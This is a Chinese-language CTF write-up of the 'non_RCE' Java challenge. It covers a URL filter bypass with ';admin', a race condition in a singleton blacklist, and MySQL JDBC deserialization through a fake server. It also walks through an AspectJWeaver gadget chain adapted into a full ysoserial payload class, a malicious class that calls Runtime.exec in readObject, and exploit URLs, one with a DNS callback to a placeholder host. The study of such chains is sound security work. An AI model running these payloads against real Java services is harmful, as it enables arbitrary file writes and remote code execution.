搭建环境,https://github.com/Ant-FG-Lab/non_RCE
filter绕过
访问admin的路由会401,login部分的filter实现如下
这里是没有办法绕过的,关注AntiUrlAttackFilter中的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if (url.contains("../" ) && url.contains(".." ) && url.contains("//" )) { res.sendError(HttpServletResponse.SC_BAD_REQUEST, "The '.' & '/' is not allowed in the url" ); } else if (url.contains("\20" )) { res.sendError(HttpServletResponse.SC_BAD_REQUEST, "The empty value is not allowed in the url." ); } else if (url.contains("\\" )) { res.sendError(HttpServletResponse.SC_BAD_REQUEST, "The '\\' is not allowed in the url." ); } else if (url.contains("./" )) { String filteredUrl = url.replaceAll("./" , "" ); req.getRequestDispatcher(filteredUrl).forward(servletRequest, servletResponse); } else if (url.contains(";" )) { String filteredUrl = url.replaceAll(";" , "" ); req.getRequestDispatcher(filteredUrl).forward(servletRequest, servletResponse); } else { filterChain.doFilter(servletRequest, servletResponse); }
会将;和./替换为空,可以根据这个访问/admin;绕过。官方wp解释主要目的是考察dispatch type,就是流量处理的类型。有FORWARD、INCLUDE、REQUEST、ASYNC、ERROR 5种类型。默认类型为REQUEST,在LoginFilter后添加
1 dispatcherTypes = {DispatcherType.REQUEST, DispatcherType.FORWARD}
请求就不会经过过滤器,就不能进行绕过
jdbc反序列化和黑名单检测绕过 攻击入口servlet.AdminServlet#doGet,实现了mysql的连接功能,并且jdbcurl我们可控。但是实现设置了一个黑名单{“%”, “autoDeserialize”},预期解是利用黑名单检测逻辑存在的条件竞争问题。上代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public class BlackListChecker { public static BlackListChecker blackListChecker; public String[] blackList = new String[] {"%" , "autoDeserialize" }; public DataMap checkDataMap; public volatile String toBeChecked; public BlackListChecker () { List<String> jdbcBlackList = new ArrayList<>(); jdbcBlackList.add(blackList[0 ]); jdbcBlackList.add(blackList[1 ]); Map<String, List<String>> checkMap = new HashMap<>(); checkMap.put("jdbc" , jdbcBlackList); this .checkDataMap = new DataMap(checkMap); } public void setToBeChecked (String s) { this .toBeChecked = s; } public static BlackListChecker getBlackListChecker () { if (blackListChecker == null ){ blackListChecker = new BlackListChecker(); } return blackListChecker; } public static boolean check (String s) { BlackListChecker blackListChecker = getBlackListChecker(); blackListChecker.setToBeChecked(s); return blackListChecker.doCheck(); } public boolean doCheck () { for (String s : blackList) { if (toBeChecked.contains(s)) { return false ; } } return true ; }
生成单例blackListChecker对象,考察的是单例模式下条件竞争的问题。通过条件竞争来绕过黑名单检测机制,后续我把黑名单注释掉了,省了条件竞争的步骤。
mysql jdbc反序列化 之前没有接触过,就复现一下。
复现环境commons-collections-3.2.1+jdk8u21+mysql-connector-java-8.0.13
1 2 3 4 5 6 7 8 9 10 11 import java.net.ConnectException;import java.sql.*;public class Test { public static void main (String[] args) throws Exception { Class.forName("com.mysql.cj.jdbc.Driver" ); String jdbc_url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_calc" ; Connection con = DriverManager.getConnection(jdbc_url); } }
https://github.com/fnmsd/MySQL_Fake_Server
生成恶意mysql服务端,运行测试文件,四次弹出计算器。(需要配置config.json中的yso命令参数)
漏洞分析参考安全科的文章以及各个版本连接字符串的总结https://www.anquanke.com/post/id/20308
AspectJWeaver利用链 也是之前没有分析过,现在通过yso工具分析一波,利用版本<=1.9.2。 利用链如下
1 2 3 4 5 6 7 8 9 10 Gadget chain: HashSet.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write()
借助cc里的TiedMapEntry和Lazymap类,最后通过调用SimpleCache$StorableCachingMap.put()成功写入文件。
调试一下 HashSet中readObject()方法会调用put方法
进入HashMap的put()方法
调用hashcode()
跟踪到TiedMapEntry的hashcode()方法和getvalue方法
this.map可控,最后进入到LazyMap类的get方法
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
调用put方法,最后调用栈
1 2 3 SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write()
写入文件。
但是这里的环境并没有cc链,需要自己构造,找到可以代替cc的触发方式,也就是出题人写的DataMap类里有相关替代方法。
参考大佬修改的poc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 package ysoserial.payloads;import org.apache.commons.codec.binary.Base64;import org.python.modules.time.Time;import checker.DataMap;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import java.io.Serializable;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;@PayloadTest(skip="non RCE") @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"org.aspectj:aspectjweaver:1.9.2"}) @Authors({ "sijidou" }) public class Antictf implements ObjectPayload <Serializable > { public Serializable getObject (final String command) throws Exception { int sep = command.lastIndexOf(';' ); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>" ); } String[] parts = command.split(";" ); String filename = parts[0 ]; byte [] content = Base64.decodeBase64(parts[1 ]); Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Object simpleCache = ctor.newInstance("." , 12 ); HashMap wrapperMap = new HashMap(); wrapperMap.put(filename,content); DataMap dataMap = new DataMap(wrapperMap, (Map)simpleCache); Constructor Entryctor = Reflections.getFirstCtor("checker.DataMap$Entry" ); Reflections.setAccessible(Entryctor); Object entry = Entryctor.newInstance(dataMap, filename); HashSet map = new HashSet(1 ); map.add("foo" ); Field f = null ; try { f = HashSet.class.getDeclaredField("map" ); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap" ); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null ; try { f2 = HashMap.class.getDeclaredField("table" ); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData" ); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0 ]; if (node == null ){ node = array[1 ]; } Field keyField = null ; try { keyField = node.getClass().getDeclaredField("key" ); }catch (Exception e){ keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } Reflections.setAccessible(keyField); keyField.set(node, entry); return map; } public static void main (String[] args) throws Exception { args = new String[]{"bbb.txt;YWhpaGloaQ==" }; PayloadRunner.run(Antictf.class, args); } }
将DataMap类导入yso工具中,将原有链中的中间部分通过DataMap类中代替最后调用put方法,调用链如下
1 2 3 4 5 6 7 8 9 HashSet.readObject() HashMap.put() HashMap.hash() DataMap$Entry.hashcode DataMap$Entry.getValue() DataMap.get() SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write()
复现 1.访问127.0.0.1/;admin进行绕过 2.利用mysqljdbc的反序列化漏洞,通过条件竞争绕过黑名单,在本地测试的时候我修改代码了省了这一步。 3.通过apectjweaver的链实现文件上传加载恶意类反序列换反弹shell。
编写poc类,编译成class文件,最后base64一下,将poc,class写入目标服务器。
1 2 3 4 5 6 7 8 9 package servlet; import java.io.*; public class poc implements Serializable { private void writeObject (ObjectInputStream out) throws IOException, ClassNotFoundException { out.defaultReadObject(); } private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec("1.txt" ); } }
上传文件poc.class,再配合jdbc反序列化。发送一个恶意类过去。这时候就会在classpath里找对应的class,触发重写的readobject。执行里面的恶意代码。
http://127.0.0.1:8888/;admin/importData?databaseType=mysql&jdbcUrl=jdbc:mysql://localhost:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=Antictf 成功写入文件
测试时在config.json中加入新的paylaod名称时字典里面掉了一个逗号导致一直报错,耽误不少时间
最后一步可通过两种方式实现RCE
1、反序列化加载恶意类。第一次反序列化的时候写入恶意类,第二次反序列化的时候反序列化该恶意类,可以执行该恶意类的readObject方法。
2、业务中使用class.forName,且类参数可控。比如 jdbc:mysql://x.x.x.x:3307/test?autoDeserialize5=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_URLDNS_http://x.x.x.x statementInterceptors参数传入的就是一个类名,且会被传入forName方法中。
因为系统重装最后把环境整没了,没完整复现完但是挺有意思的学到很多东西。